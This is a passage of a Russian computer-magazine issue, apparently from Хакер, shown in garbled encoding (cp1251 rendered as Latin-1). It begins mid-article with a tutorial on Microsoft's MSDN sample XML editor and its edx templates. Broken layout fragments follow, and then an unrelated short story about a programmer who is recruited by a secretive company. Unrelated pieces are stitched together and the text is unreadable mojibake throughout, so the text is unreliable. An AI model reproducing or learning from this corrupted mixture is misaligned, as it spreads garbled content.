ðîâàíèÿ äîêóìåíòà.

[äîâåðèìñÿ Microsoft] Åñëè âíîâü îáðàòèòüñÿ ê ñàéòó MSDN, ìîæíî
äîâîëüíî áûñòðî íàéòè èíòåðåñíóþ ñòàòüþ XML Editing: A WYSIWYG
XML Document Editor (http://msdn.microsoft.com/library/default.asp?url=/li-
brary/en-us/dnxmlweb/html/xmldocedit.asp). 
Ýòîò ìàòåðèàë êîìïëåêòóåòñÿ ïðèìåðîì ãîòîâîé ñèñòåìû ïî ðåäàê-
òèðîâàíèþ XML. Ðàçðàáîò÷èêè Microsoft, ïî íåïîíÿòíîé ìíå ïðè÷èíå,[X
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ñòàòüÿ íà MSDN î ñîçäàíèè WYSISWYG XML-ðåäàêòîðà

âèçóàëüíûé ðåäàêòîð XML-äîêóìåíòîâ

ôàéë ñ îïèñàíèåì ýëåìåíòà edx
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íå èñïîëüçóþò ñâÿçêó XML Schema + Xupdate è ãîðîäÿò ñîáñòâåííûé
îãîðîä, çàòî÷åííûé èìåííî ïîä íóæäû ðåäàêòèðîâàíèÿ. Îäíàêî êîã-
äà õîòü ÷òî-òî óæå ãîòîâî, âñåãäà õî÷åòñÿ èñïîëüçîâàòü èìåííî ýòî.
Ïî ýòîé ïðè÷èíå ìû ñ òîáîé âîñïîëüçóåìñÿ èìåííî íàðàáîòêàìè
ìàéêðîñîôòîâöåâ. Âî-ïåðâûõ, íàó÷èìñÿ èõ èñïîëüçîâàòü, à âî-âòî-
ðûõ, äîáàâèì íåêîòîðóþ ôóíêöèîíàëüíîñòü.

[êîïàåì âíóòðè] Åñëè òû îòêðîåøü ãëàâíóþ ñòðàíè÷êó ðåäàêòîðà, òî
íà ñàìîì âåðõó óâèäèøü ñëåäóþùèå ñòðîêè: 

<style>
.edx { behavior:url(edx.htc); }
</style>

Òåïåðü åñëè îïóñòèòüñÿ â ñàìûé íèç äîêóìåíòà, òû óâèäèøü ãëàâíûé
DIV-êîíòåéíåð ñ ðåäàêòèðóåìûì êîíòåíòîì. Ñðåäè åãî ïàðàìåòðîâ óêà-
çàí ñëåäóþùèé: class=edx. Âñå ýòî îçíà÷àåò, ÷òî äëÿ ñîçäàíèÿ ðåäàêòî-
ðà èñïîëüçóåòñÿ ìåõàíèçì html-behaviors, ñ ïîìîùüþ êîòîðîãî ïðîãðàì-
ìèñòû ìîãóò îïðåäåëÿòü ñîáñòâåííûå HTML-äîêóìåíòû, ñ ñîáñòâåííûì
íàáîðîì ñâîéñòâ è ìåòîäîâ, ñ êîòîðûì ìîæíî ðàáîòàòü àáñîëþòíî òàê
æå, êàê è ñ ëþáûì ñòàíäàðòíûì ýëåìåíòîì. Ýòî äåéñòâèòåëüíî óäîáíûé
ïðèìåð, ïî÷èòàòü ïîäðîáíåå î êîòîðîì òû ìîæåøü âñå íà òîì æå MSDN:
http://msdn.microsoft.com/library/default.asp?url=/workshop/author/beha-
viors/overview/elementb_ovw.asp.
Íå âäàâàÿñü â ïîäðîáíîñòè, îòìå÷ó, ÷òî â ôàéëå edx.htc, ñîäåðæèìîå
êîòîðîãî òû ìîæåøü âèäåòü íà ñîîòâåòñòâóþùåì ñêðèíå, ñîäåðæèòñÿ
ïåðå÷èñëåíèå âñåõ ìåòîäîâ è ñâîéñòâ ýëåìåíòà; òàì æå ïîäêëþ÷àþòñÿ
js-ôàéëû ñ îïèñàíèåì âñåé ôóíêöèîíàëüíîñòè íîâîãî îáúåêòà.

[êîíòðîëü çà ðåäàêòèðîâàíèåì] Ðåäàêòèðóåìûé ïðè ïîìîùè ìàé-
êðîñîôòîâñêîãî ïðèìåðà äîêóìåíò äîëæåí ñîäåðæàòü â ñåáå èíôîðìà-
öèþ î òîì, êàê îí äîëæåí îòîáðàæàòüñÿ è ðåäàêòèðîâàòüñÿ. Ýòî îïðåäå-
ëÿåòñÿ âî âíåøíåì ôàéëå, ÷üÿ ðîëü íîñèò êëþ÷åâîé õàðàêòåð âî âñåì
ïðîöåññå ðåäàêòèðîâàíèÿ.
Óêàçûâàåòñÿ ýòîò ôàéë ñëåäóþùèì îáðàçîì:

<?edxview pro-view.xml?>

Äóìàþ, âñåì óæå ïîíÿòíî, ÷òî ýòîò ôàéë ñàì ïî ñåáå ÿâëÿåòñÿ XML-äîêóìåí-
òîì. Îäíàêî åãî ñîäåðæèìîå çàñòàâëÿåò ïîãîâîðèòü î ñåáå áîëåå ïîäðîáíî.
Âåñü ôàéë ñîñòîèò èç øàáëîíîâ, êîòîðûå çàäàþòñÿ òýãîì edx:template.
Øàáëîíîâ ìîæåò áûòü ñêîëüêî óãîäíî, è äëÿ êàæäîãî XML-óçëà çàäàåò-
ñÿ êîíêðåòíûé øàáëîí, ïðè ïîìîùè êîòîðîãî áóäåò îòîáðàæåí ýòîò ýë-
åìåíò. Îáðàáîòêà íà÷èíàåòñÿ ñ êîðåííîãî øàáëîíà, êîòîðûé ñîäåðæèò
â ñåáå ññûëêè íà äðóãèå øàáëîíû, êàæäûé èç êîòîðûõ îáðàáàòûâàåò äî-
÷åðíèå ýëåìåíòû. Ñîâåðøåííî ïîíÿòíî, ÷òî øàáëîíû, îáðàáàòûâàþ-
ùèå ýòè äî÷åðíèå ýëåìåíòû òàêæå ìîãóò ñîäåðæàòü ññûëêè íà äðóãèå
òåìïëåéòû, è òàê äî òåõ ïîð, ïîêà ìû íå äîéäåì äî òåêñòîâûõ äàííûõ: â
ýòîì ñëó÷àå, êàê ïðàâèëî, èñïîëüçóåòñÿ âñòðîåííûé øàáëîí ñ èìåíåì fi-
eld:flow, êîòîðûé ïðîñòî âûâîäèò òåêñòîâîå ñîäåðæèìîå ýëåìåíòà.
Ó êàæäîãî øàáëîíà îáÿçàòåëüíî åñòü ñâîéñòâî type: îíî ìîæåò ñîäåð-
æàòü ëèáî region, ëèáî container. Â ïåðâîì ñëó÷àå ïîäðàçóìåâàåòñÿ, ÷òî
ñîîòâåòñòâóþùèé øàáëîíó ýëåìåíò ñîäåðæèò â ñåáå ðàçíîøåðñòíûå óç-
ëû, è äëÿ êàæäîãî èç íèõ áóäåò óêàçàí ñîîòâåòñòâóþùèé òåìïëåéò. Âî
âòîðîì æå ñëó÷àå èìååòñÿ â âèäó, ÷òî óçëû îäíîòèïíûå, è îáðàáàòûâà-
þòñÿ ïðè ïîìîùè îäíîãî è òîãî æå øàáëîíà, êàê áû â öèêëå.

Âîîáùå çäåñü ìîæíî ñêàçàòü ìíîãî ñëîâ, íî ëó÷øå ïîñìîòðåòü, êàê ýòî
âûãëÿäèò íà ïðàêòèêå.

[êîðåííîé øàáëîí]

<edx:template name="root" type="region" uiname="Entire Document">
<edx:xhtml display="ñòàíäàðòíûé">
<b style="font-size:14pt;font-family:arial" edxtemplate="field:flow" edx-
path="article/head/title"/><br/><br/>
<b style="font-size:12pt;font-family:arial" edxtemplate="field:flow" edx-
path="article/head/comment"/><br/><br/>
<b style="font-size:12pt;font-family:arial" edxtemplate="authors" edx-
path="/article/head/authors"/><br/><br/>
<b style="font-size:11pt;font-family:arial" edxtemplate="field:flow" edx-
path="/article/head/intro"/>
<div edxtemplate="body" edxpath="/article/body"/>
</div>
</edx:xhtml>
</edx:template>

Ýòî õîðîøèé ïðèìåð êîðåííîãî øàáëîíà. Âîò ñìîòðè. Âíóòðè
<edx:xhtml> íàõîäèòñÿ xhtml-êîä, êîòîðûé áóäåò ñãåíåðèðîâàí äëÿ ïî-
êàçà äîêóìåíòà. Ëåãêî âèäåòü, ÷òî äëÿ òýãà <b> óêàçûâàåòñÿ ïàðà-
ìåòð edxtemplate="field:flow" � ýòî îçíà÷àåò, ÷òî ñîäåðæèìîå ýë-
åìåíòà, ïóòü ê êîòîðîìó óêàçûâàåòñÿ ïàðàìåòðîì edxpath="article/he-
ad/title", ÿâëÿåòñÿ îáû÷íûì òåêñòîì è áóäåò âûâåäåíî íà ýêðàí, çà-
êëþ÷åííîå â <b></b>, òî åñòü ïîëóæèðíûì øðèôòîì. Àáñîëþòíî òàê-
æå øàáëîí ïîñòóïàåò ñ article/head/comment è /article/head/intro, íî
âîò ýëåìåíò /article/head/authors áóäåò îáðàáàòûâàòüñÿ ïðè ïîìîùè
îòäåëüíîãî øàáëîíà authors, îïèñàíèå êîòîðîãî îáÿçàòåëüíî äîëæíî
áûòü ïðèâåäåíî ïîñëå êîðåííîãî øàáëîíà:

<edx:template name="authors" type="container" uiname="Ñïèñîê àâòîðîâ">
<edx:match element="author">
<span edxtemplate="author" edxpath="."/>
</edx:match>
</edx:template>

Ýòîò øàáëîí ãîâîðèò, ÷òî îí ÿâëÿåòñÿ êîíòåéíåðîì � ñîäåðæèò ìíîãî
îäíîòèïíûõ ýëåìåíòîâ. Ñ ïîìîùüþ òýãà <edx:match> âûáèðàþòñÿ âñå
ýëåìåíòû author, êîòîðûå îáðàáàòûâàþòñÿ øàáëîíîì, êîòîðûé óêàçû-
âàåòñÿ â òýãå span: edxtemplate="author":

<edx:template name="author" type="region" uiname="Àâòîð">
<edx:xhtml display="default">

<font edxtemplate="field:flow" edxpath="name"/> (<font edxtemplate="fi-
eld:flow" edxpath="mail"/>)
</edx:xhtml>
</edx:template>

Ýòîò øàáëîí � region, è ïðè ïîìîùè àòîìàðíîãî ñòàíäàðòíîãî òåìïëåé-
òà field:flow âûâîäèò òåêñòîâîå ñîäåðæèìîå ýëåìåíòîâ name è mail. Äó-
ìàþ, âñå ïîíÿòíî. Äîêóìåíò êàê áû ðàñêðûâàåòñÿ íà äåðåâî øàáëîíîâ,
ïîêà íå áóäóò äîñòèãíóòû òåêñòîâûå äàííûå; îíè âûâîäÿòñÿ ñ èñïîëüçî-
âàíèåì øàáëîíà field:flow.

[ðåäàêòèðóåì äàííûå] Òåïåðü î òîì, êàêèì îáðàçîì îñóùåñòâëÿåò-
ñÿ ðåäàêòèðîâàíèå äîêóìåíòîâ. Êàê è ñëåäîâàëî áû îæèäàòü, ðåäàêòèðî-
âàíèå ðàçìåòêè íàïðÿìóþ íåâîçìîæíî, äëÿ ðåäàêòèðîâàíèÿ äîñòóïíî
òîëüêî ëèøü òåêñòîâîå ñîäåðæèìîå óçëîâ äîêóìåíòà. Äîáàâëåíèå íîâîé
èíôîðìàöèè ìîæåò îñóùåñòâëÿòüñÿ ëèáî â óæå ñóùåñòâóþùèå óçëû, ëè-
áî ïóòåì ñîçäàíèÿ íîâûõ. Ãåíåðàöèÿ íîâûõ ýëåìåíòîâ îñóùåñòâëÿåòñÿ
ïðè ïîìîùè ñïåöèàëüíîãî òýãà edx:insert, êîòîðûé äîëæåí îáÿçàòåëüíî
íàõîäèòüñÿ âíóòðè ñîîòâåòñòâóþùåãî øàáëîíà, è îïèñûâàåòñÿ âîò òàê:

<edx:insert>
<name>name</name>
<mail>mail@mail.ru</mail>

</edx:insert>

Òåïåðü, åñëè ýòîò ýëåìåíò âñòàâèòü â øàáëîí author, ñòàíåò âîçìîæíûì
äîáàâëÿòü â äîêóìåíò íîâûõ àâòîðîâ.
Íà ñàìîì äåëå, ìíå ïîðà çàêðóãëÿòüñÿ, ÿ è òàê óæå ìíîãî íàïèñàë. Ïî
áîëüøîìó ñ÷åòó, ÿ ñêàçàë âñå, ÷òî õîòåë � òåïåðü äåëî çà òîáîé. Âñå
ðàâíî áåç ïðàêòèêè íåâîçìîæíî íè â ÷åì ðàçîáðàòüñÿ, òàê ÷òî åñëè òå-
áå ñòàëî èíòåðåñíî, ÷èòàé äîêè íà íàøåì äèñêå è ïèøè ìíå ïèñüìà ïî
ïðèâåäåííûì ññûëêàì 

ðåäàêòèðóåìûé xml-äîêóìåíò





Àâòîðû èëëþñòðàöèé Àííà Æóðêî è Èâàí Âåëè÷êî (vel@shuka.ru)



[X
À

Ê
Å

Ð
1

0
 [

8
2

] 
0

5
 >

Ê
Ð

Å
À

Ò
È

Ô
Ô

1
3

1
]

Â ËÅÑÓ ÁÛËÎ ÑÓÌÐÀ×ÍÎ È ÍÅÓÞÒÍÎ. ÇÅÌËß ÇÀ ÄÅÑßÒÊÈ, À,
ÌÎÆÅÒ, È ÑÎÒÍÈ ËÅÒ ÏÎÊÐÛÒÀß ÒÎËÑÒÛÌ ÑËÎÅÌ ÅËÎÂÛÕ
ÈÃÎËÎÊ, ÏÐÓÆÈÍÈËÀ ÏÎÄ ÍÎÃÀÌÈ... | Moe (moe@land.ru)

ÑÑííûû

[cîí] Ñîëíöå, âèäèìî, òîëüêî âñòàâàëî èç-çà ãîðèçîíòà è åãî íå áûëî âèäíî, êàçà-
ëîñü, ÷òî íàâåðõó åëå ñâåòèòñÿ ñàìî íåáî. Âåòêè áîëüíî öàðàïàëè, èäòè ïðÿìî áûëî
íåâîçìîæíî, è, îáîéäÿ î÷åðåäíóþ åëêó, îí ïîíÿë, ÷òî çàáëóäèëñÿ îêîí÷àòåëüíî. Õîòå-
ëîñü ñåñòü ïðÿìî íà çåìëþ, îáõâàòèòü êîëåíè ðóêàìè è çàâûòü îò îáèäû. Íà óì ïðèõî-
äèëè òîëüêî òàêèå äåáèëüíûå èäåè, êàê íàéòè ìîõ íà äåðåâå è îïðåäåëèòü ñåâåð, èëè
çàëåçòü íà åëêó è îñìîòðåòüñÿ. ×òî äåëàòü ñ íàéäåííûì ñåâåðîì îí ïðåäñòàâëÿë ñåáå
ñìóòíî, äà è ìîõà íà ñòâîëàõ íå áûëî. À â ñâîè ñïîñîáíîñòè çàëåçòü ïî ëèïêîìó øåð-
øàâîìó ñòâîëó ïîñëå åæåäíåâíîãî ìíîãî÷àñîâîãî ñèäåíèÿ çà êîìïîì îí íå âåðèë.
Îñòàâàëîñü ïîñëåäíåå ñðåäñòâî. Åìó íàó÷èë åãî êîãäà-òî ñòàðûé çíàêîìûé îòöà, ñïî-
êîéíûé è äîáðûé ÷åëîâåê. Îíè ðàíüøå, êîãäà ðîäèòåëè áûëè åùå æèâû, èíîãäà âñòðå-
÷àëèñü è ìíîãî ðàçãîâàðèâàëè. Îäíàæäû, êîãäà îí ñ þíîøåñêèì àçàðòîì è ãîðÿùèìè
ãëàçàìè ðàññêàçûâàë î÷åðåäíóþ òåîðèþ îá óñòðîéñòâå ìèðà, çíàêîìûé åãî îñòàíî-
âèë. «Ëåøà, ïîéìè îäíó ïðîñòóþ âåùü. Âñå ýòè èäåè ïðèäóìàíû ðàçóìîì. À ðàçóì
ïðåäíàçíà÷åí âñåãî ëèøü äëÿ ðåøåíèÿ íàñóùíûõ ïðîáëåì: ãäå ïîñïàòü, ÷òî ïîåñòü, è
íå áîëåå òîãî. Åìó íå äàíî ïîíÿòü ýòîò ìèð. Âñå îòâåòû óæå åñòü è íàäî ïðîñòî óìåòü
èõ óñëûøàòü. È çàäàâàòü âîïðîñ íàäî íå ñâîåìó ðàçóìó, à ñâîåé äóøå. Ïîïðîáóé çà-
ìîë÷àòü, ïåðåñòàíü ìûñëèòü è ïðîãîâàðèâàòü ñâîè ìûñëè ïðî ñåáÿ, ñòàíü ïóñòûì è äàé
ñâîåé äóøå ñïîêîéíî ïîîáùàòüñÿ ñ ìèðîì. Ïîïðîáóé ïðÿìî ñåé÷àñ, à ÿ ïîìîãó».
Ñàìûì òðóäíûì áûëî ïðåêðàòèòü âíóòðåííèé äèàëîã ñ ñàìèì ñîáîé. Íî åìó ïîìîãëè,
è íàñòóïèëà òèøèíà. Åãî «ÿ» ðûâêîì âûðîñëî è ñíà÷àëà «îùóòèëî» âñþ êâàðòèðó, ïðî-
íèêàÿ âî âñå âåùè è îäíîâðåìåííî ãëÿäÿ íà âñå íåìíîãî ñâåðõó. Îí ïî÷óâñòâîâàë, êàê
îòåö ñ ìàòåðüþ âîçÿòñÿ íà êóõíå, êàê èõ êîò Ñèëüâåð ìèðíî äðûõíåò íà øêàôó. Ïîòîì
âèäåíèå èçìåíèëîñü, è îí ñòàë «âèäåòü» ÷óæèå ÷óâñòâà. Îòåö ñâåòèëñÿ äîáðîäóøèåì
è ïðåä÷óâñòâèåì âêóñíîãî óæèíà, ìàòü áûëà ñïîêîéíà, íî ãäå-òî íà ãðàíè îùóùàëàñü
íåäîâîëüñòâî è, êàê åìó ïîêàçàëîñü, ýòî áûëî ñâÿçàíî ñ ðàáîòîé. Ïîòîì îáúåì ðûâ-
êîì ðàñøèðèëñÿ è îí ïîäíÿëñÿ íàä ãîðîäîì. Òîëüêî óñïåë «îãëÿäåòüñÿ», êàê ñðàçó ïî-
÷óâñòâîâàë ê ñåáå ÷üå-òî âíèìàíèå. Íà íåãî êòî-òî ïîñìîòðåë âíèìàòåëüíî è ñ èíòåðå-

Ñòàðûå ñêàçêè èëè íîâûå íàíîáîòû
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ñîì. Íî òóò âñå çàêîí÷èëîñü, è îí ðóõíóë îáðàòíî â ñâîå òåëî. Ïîòîì
îí ïðîáîâàë åùå ìíîãî ðàç, è ìàòåðèàëüíûé ìèð, êîòîðûé ìîæíî ïîñ-
ìîòðåòü è ïîùóïàòü, ñòàë êàçàòüñÿ ðàñêðàøåííûì âûñîêèì çàáîðîì
âîêðóã ìèðà ðåàëüíîãî. Äàæå ïîïûòàëñÿ ñìîòðåòü íà ïðîãðàììû íîâûì
çðåíèåì. Îäíè, ïîïðîùå, íàïîìèíàëè íàíèçàííûå íà íèòêó áóñèíû.
Äðóãèå, áîëåå ñëîæíûå, âûãëÿäåëè, êàê êðèñòàëë èëè äåðåâî ñ õðóñòàëü-
íûìè âåòêàìè. Äûðû â ïðîãðàììàõ áûëè âèäíû, êàê îáîðâàííûå íèòè,
çà êîòîðûå ìîæíî ïîòÿíóòü, èëè êàê òðåùèíû â ñòåêëå.
Ñíà÷àëà îí îùóòèë óäèâëåííûé âçãëÿä ëåñà, êîòîðûé òîæå îêàçàëñÿ
æèâûì íà ýòîì óðîâíå. È îí áûë ñîâñåì íå òåìíûì è, êîíå÷íî, íå çëûì,
ñêîðåå òàèíñòâåííûì è ñîëèäíûì. È íå òàêèì áåñêîíå÷íûì, êàê êàçà-
ëîñü ñíèçó. Âñåãî â 15 ìèíóòàõ õîäüáû îêàçàëàñü äåðåâíÿ, íàïîëíåííàÿ
æèçíüþ. À íåäàëåêî îò íåãî øëà êàêàÿ-òî äåâóøêà. Îí ïîøåë â åå ñòî-
ðîíó è ëåñ, êàçàëîñü, ñòàë ðàññòóïàòüñÿ ïåðåä íèì, ïðèçíàâ ñâîèì.

[ÿâü] Îí ïðîñíóëñÿ ñðàçó, ïîïûòàëñÿ âñïîìíèòü ñîí, íî òîò ðàñòâî-
ðèëñÿ, îñòàâèâ òîëüêî îùóùåíèå ëåãêîñòè. Âàëÿòüñÿ íå õîòåëîñü,
òåëî òðåáîâàëî äâèæåíèÿ, à ìîçã � ðàáîòû. Òàêîå áûâàëî ðåäêî,
îáû÷íî íà ðàñêà÷êó óõîäèëî íå ìåíüøå ÷àñà, êðóæêà ãîðÿ÷åãî êîôå
è ïàðà ñèãàðåò. Ïîïèâàÿ êîôå, îí ïîòèõîíüêó ðàçîáðàë ïî÷òó è åùå
íåìíîãî âðåìåíè ïîòðàòèë íà ïðîñìîòð ëþáèìûõ ñàéòîâ è ôîðóìîâ.
Ðàáîòû íà ñåãîäíÿ íå áûëî.
Óæå ïðîáåæàëà øàëüíàÿ ìûñëü ïðèáðàòüñÿ â êâàðòèðå, íî â ýòîò ìî-
ìåíò çâÿêíóë ïî÷òîâèê. Íà âñå åãî ÿùèêè ñâàëèëîñü ïî îäíîìó ïèñüìó,
òåêñò áûë îäèí è òîò æå. Íåèçâåñòíûé ïðåäëàãàë åìó ïîñòîÿííóþ ðàáî-
òó, íåîãðàíè÷åííûå âû÷èñëèòåëüíûå âîçìîæíîñòè è äîñòîéíóþ çàðïëà-
òó. Íèæå ïåðå÷èñëÿëîñü âñå, ÷òî îí ñäåëàë çà ïîñëåäíèé ãîä (îòêóäà óç-
íàëè?) ñ ïðèïèñêîé, ÷òî ýòîãî äîñòàòî÷íî ïîëíî ãîâîðèò î åãî êâàëèôè-
êàöèè, è ñîáåñåäîâàíèå áóäåò íîñèòü ÷èñòî ôîðìàëüíûé õàðàêòåð.
Âñòðåòèòüñÿ áûëî ïðåäëîæåíî ñåãîäíÿ â 3 ÷àñà ïî àäðåñó �
Íà ðîçûãðûø ýòî íå ïîõîäèëî è îí, íåìíîãî ïîäóìàâ, ðåøèë ñõîäèòü è
ïîñìîòðåòü, ÷òî åìó ïðåäëîæàò. Íå êàæäûé äåíü ïîïàäàþòñÿ ëþäè, êî-
òîðûå çíàþò î òåáå ñòîëüêî ìíîãî. Äà è ïåðåáèâàòüñÿ ðàçîâûìè çàêàçà-
ìè óæå íàäîåëî. Ïðàâäà, è ñèäåòü â îôèñå öåëûé äåíü íå õîòåëîñü, íî,
÷òî ïîäåëàåøü, íàäî ÷åì-òî æåðòâîâàòü.
Çäàíèå, ïåðåä êîòîðûì îí ñòîÿë, áûëî îãðîìíûì. Êàçàëîñü, ÷òî îíî
öåëèêîì ñîñòîèò èç ñèíåãî ñòåêëà, è ìíîãîêðàòíî îòðàæåííîå ñîëí-
öå ïðèäàâàëî åìó âèä ãèãàíòñêîãî êðèñòàëëà. Îêîëî âõîäà âèñåëà
òîëüêî îäíà òàáëè÷êà � «Ïåðñïåêòèâíûå òåõíîëîãèè». Íèêòî íå
ñíîâàë ïî ïðîñòîðíîìó ôîéå, íå áåãàëè êëåðêè ñ áóìàãàìè, òîëüêî
îäèíîêèé àâòîìàòè÷åñêèé ïûëåñîñ, òèõî æóææà, ïîëçàë íåïîäàëåêó.
«Òàê, íó è êóäà äàëüøå?».
� Çäðàâñòâóéòå, Àëåêñåé. Ìû ðàäû, ÷òî Âû ïðèíÿëè íàøå ïðèãëàøå-
íèå, � ïðèÿòíûé æåíñêèé ãîëîñ çâó÷àë, êàçàëîñü, ñðàçó îòîâñþäó. �
Ïðîéäèòå, ïîæàëóéñòà, ê ëèôòó. Âàñ îæèäàþò.
Íåäàëåêî îò íåãî, ïðèâëåêàÿ âíèìàíèå, òèõîíüêî çâÿêíóë ëèôò è îòê-
ðûë äâåðè. Âíóòðè íå îêàçàëîñü íè îäíîé êíîïêè, íî, êàê òîëüêî îí
çàøåë, äâåðè çàêðûëèñü è ÷åðåç íåñêîëüêî ñåêóíä, îòêðûëèñü ñíîâà.
Îí îêàçàëñÿ ïðÿìî â ÷üåì-òî êàáèíåòå. Êàáèíåò áûë áîëüøîé, íî
ïðàêòè÷åñêè ïóñòîé, è òîëüêî ïîñåðåäèíå ñòîÿëè äâà êðåñëà è íå-
áîëüøîé ñòîëèê ñ áóìàãàìè.
� Çäðàâñòâóéòå, Àëåêñåé, ïðîõîäèòå, � íàâñòðå÷ó åìó èç êðåñëà ïîä-
íÿëñÿ ìîëîäîé ïàðåíü, � ïðèñàæèâàéòåñü.
� Ìåíÿ çîâóò Âèêòîð, � ïðîäîëæèë ìîëîäîé ÷åëîâåê, êîãäà Ëåõà
ñåë, � ÿ ñîçäàòåëü è åäèíñòâåííûé âëàäåëåö êîìïàíèè «Ïåðñïåê-
òèâíûå òåõíîëîãèè». Êàê ÿ âèæó, íàøå ïðèãëàøåíèå Âàñ çàèíòåðå-
ñîâàëî, ïîýòîìó ðàññêàæó íåìíîãî î êîìïàíèè è î Âàøåì, âîçìîæ-
íî, ìåñòå â íåé. Âû, íàâåðíî, ñëûøàëè ôðàçó: «Êòî âëàäååò èíôîð-
ìàöèåé � òîò âëàäååò ìèðîì»? Òàê âîò, îíà âåðíà òîëüêî îò÷àñòè.
Èíôîðìàöèåé ìàëî âëàäåòü, åå íàäî óìåòü îñìûñëèòü è èìåòü âîç-
ìîæíîñòü ïðàâèëüíî èñïîëüçîâàòü. Ýòèì ìû è çàíèìàåìñÿ. Ðàáîò-
íèêè êîìïàíèè äåëÿòñÿ íà òðè óðîâíÿ â çàâèñèìîñòè îò ñïîñîáíîñ-
òåé. Íà íèæíåì óðîâíå èåðàðõèè ðàáîòàþò òûñÿ÷è âíåøòàòíûõ ñîò-
ðóäíèêîâ, îíè çàíèìàþòñÿ ñáîðîì è õðàíåíèåì èíôîðìàöèè. Íà
ñðåäíåì óðîâíå � ñîòíè àíàëèòèêîâ, ê êîòîðûì, íàäåþñü, ïðèìêíå-
òå è Âû. Îíè çàíèìàþòñÿ àíàëèçîì, ïîèñêîì íåäîñòàþùèõ äàííûõ è
ïîäãîòîâêîé àíàëèòè÷åñêèõ ñïðàâîê äëÿ âåðõíåãî óðîâíÿ, íà êîòî-
ðîì ðàáîòàþò ýêñïåðòû, ñïîñîáíûå ïðîãíîçèðîâàòü áóäóùåå íà îñ-
íîâå ýòèõ äàííûõ è äàâàòü ðåêîìåíäàöèè ðóêîâîäñòâó, òî åñòü ìíå è
íàøèì êëèåíòàì. Êðîìå ýòîãî, ó íàñ åñòü äî÷åðíèå ôèðìû, êîòîðûå
îáåñïå÷èâàþò ñîòðóäíèêîâ âñåì íåîáõîäèìûì: ñàëîíû êðàñîòû,
ðåñòîðàíû, ïðîêàò àâòîìîáèëåé, àâòîñåðâèñ, ãîñòèíèöû è ìíîãîå
äðóãîå. ß âèæó, ó Âàñ åñòü âîïðîñû?
� Äà, åñòü, � Ëåõà ñèäåë ñëåãêà îøàðàøåííûé, � ÿ íå ñîâñåì ïîíè-
ìàþ, êàê ñìîãó ðàáîòàòü àíàëèòèêîì. ß ïðîãðàììèñò, âîçìîæíî, íåïëî-
õîé. Íî ÿ íèêîãäà íå çàíèìàëñÿ àíàëèçîì.
� Íè÷åãî ñòðàøíîãî, Àëåêñåé. Äåëî íå â ïðîôåññèè, à â ñïîñîáíîñòÿõ,

è ïî íàøèì äàííûì ó Âàñ ñ íèìè âñå â ïîðÿäêå. Íî åñëè çàõîòèòå � áó-
äåòå çàíèìàòüñÿ èìåííî êîìïüþòåðàìè. Â ïðèíöèïå, ýòî âñå, ÷òî ÿ ìîãó
Âàì ðàññêàçàòü, ïîêà Âû íå ñîòðóäíèê êîìïàíèè. Äà, åùå îá îïëàòå. ß
ïðîòèâíèê ôèêñèðîâàííîé çàðïëàòû è ñ÷èòàþ, ÷òî ñîòðóäíèê õîðîøî
ðàáîòàåò, êîãäà íå çàäóìûâàåòñÿ, ÷åì çàïëàòèòü çà êâàðòèðó è íà ÷òî
êóïèòü åäó. Ïîýòîìó êàæäûé ñîòðóäíèê ïîëó÷àåò ó íàñ êðåäèòíóþ êàðòó
è ìîæåò òðàòèòü äåíåã ñòîëüêî, ñêîëüêî åìó íóæíî. Äëÿ íîâûõ ñîòðóäíè-
êîâ íà ïåðâûé ìåñÿö ââîäèòñÿ äíåâíîé ëèìèò â 100 äîëëàðîâ, ïîòîì ëè-
ìèò ñíèìàåòñÿ. Ýòî íåìíîãî íàïîìèíàåò êîììóíèçì, � Âèêòîð óëûá-
íóëñÿ, � íî, êàê âèäèòå, ìû äî ñèõ ïîð íå ðàçîðèëèñü. Ýòî îáõîäèòñÿ äî-
ðîæå, ÷åì îáû÷íûå ôîðìû âîçíàãðàæäåíèÿ, çàòî ó ñîòðóäíèêîâ ïîë-
íîñòüþ èñ÷åçàåò áåñïîêîéñòâî, çàâèñòü è êàðüåðèçì.
Âèêòîð íåìíîãî ïîìîë÷àë, âûæèäàòåëüíî ãëÿäÿ íà Àëåêñåÿ.
� Íó, êàê? Âû ñîãëàñíû?
Ëåõà ìîë÷àë. Îí íå âåðèë, ÷òî ìîæåò áûòü òàêîå. Íàøëè, ïðèãëàñè-
ëè, ïðåäëîæèëè áàðñêèå óñëîâèÿ, âçàìåí òîëüêî è íàäî ÷òî íîð-
ìàëüíî ðàáîòàòü. Ìîæåò, è áûë êàêîé-òî ïîäâîõ, íî íà âèä âñå áû-
ëî ïðèëè÷íî. Íî âñå ðàâíî áûëî ñòðàííîå îùóùåíèå, ñëîâíî ïåðåä
ïðûæêîì ñ òàðçàíêè.
� Äà, ÿ ñîãëàñåí. Íàäî ÷òî-òî ïîäïèñàòü, èëè êàê? Ïðîñòèòå, ÿ íå çíàþ,
íèêîãäà îôèöèàëüíî íå ðàáîòàë.
� Âîò è îòëè÷íî. Âîò êîíòðàêò, � Âèêòîð âçÿë ñî ñòîëà è ïðîòÿíóë
åìó íåñêîëüêî ñêðåïëåííûõ ëèñòîâ, � ïî÷èòàéòå è, åñëè ñîãëàñíû,
ïîäïèñûâàéòå.
Äîãîâîð áûë ñîñòàâëåí íà òàêîì ÿçûêå, ÷òî Ëåõå ñðàçó ðàñõîòåëîñü åãî
÷èòàòü. Îí, êîíå÷íî, ïîïûòàëñÿ âíèêíóòü â ñìûñë, íî ñêîðî îêîí÷àòåëü-
íî çàïóòàëñÿ. Ïîíÿë òîëüêî îäíî � ðàáîòîäàòåëü îáÿçóåòñÿ åãî âñåì
îáåñïå÷èâàòü, à îí, â îòâåò, îáÿçóåòñÿ ÷åñòíî ðàáîòàòü. Ïîñòàâèâ ïîä-
ïèñü è äàòó â îáîèõ ýêçåìïëÿðàõ, îí ïðîòÿíóë îáà Âèêòîðó, íî òîò âåð-
íóë îäèí îáðàòíî.
� Ýòî Âàø. Íó ÷òî æ, ïîçäðàâëÿþ, � Âèêòîð óëûáíóëñÿ, � âåðþ, ÷òî
ìû îáà áóäåì äîâîëüíû íàøèì ñîòðóäíè÷åñòâîì. À òåïåðü ïðåäëàãàþ
ïî áîêàëó âèíà â ÷åñòü òàêîãî ñîáûòèÿ.
Íå óñïåë îí äîãîâîðèòü, êàê â êàáèíåò âîøëà äåâóøêà ñ ïîäíîñîì, íà
êîòîðîì ñòîÿëè äâà áîêàëà.
� Ñ Âàøåãî ïîçâîëåíèÿ ÿ âûïüþ ðîçîâîãî øàìïàíñêîãî, à Âàì ïðåäëî-
æó áåëîå ñóõîå. Ýòî Âàøå ëþáèìîå, åñëè íå îøèáàþñü?
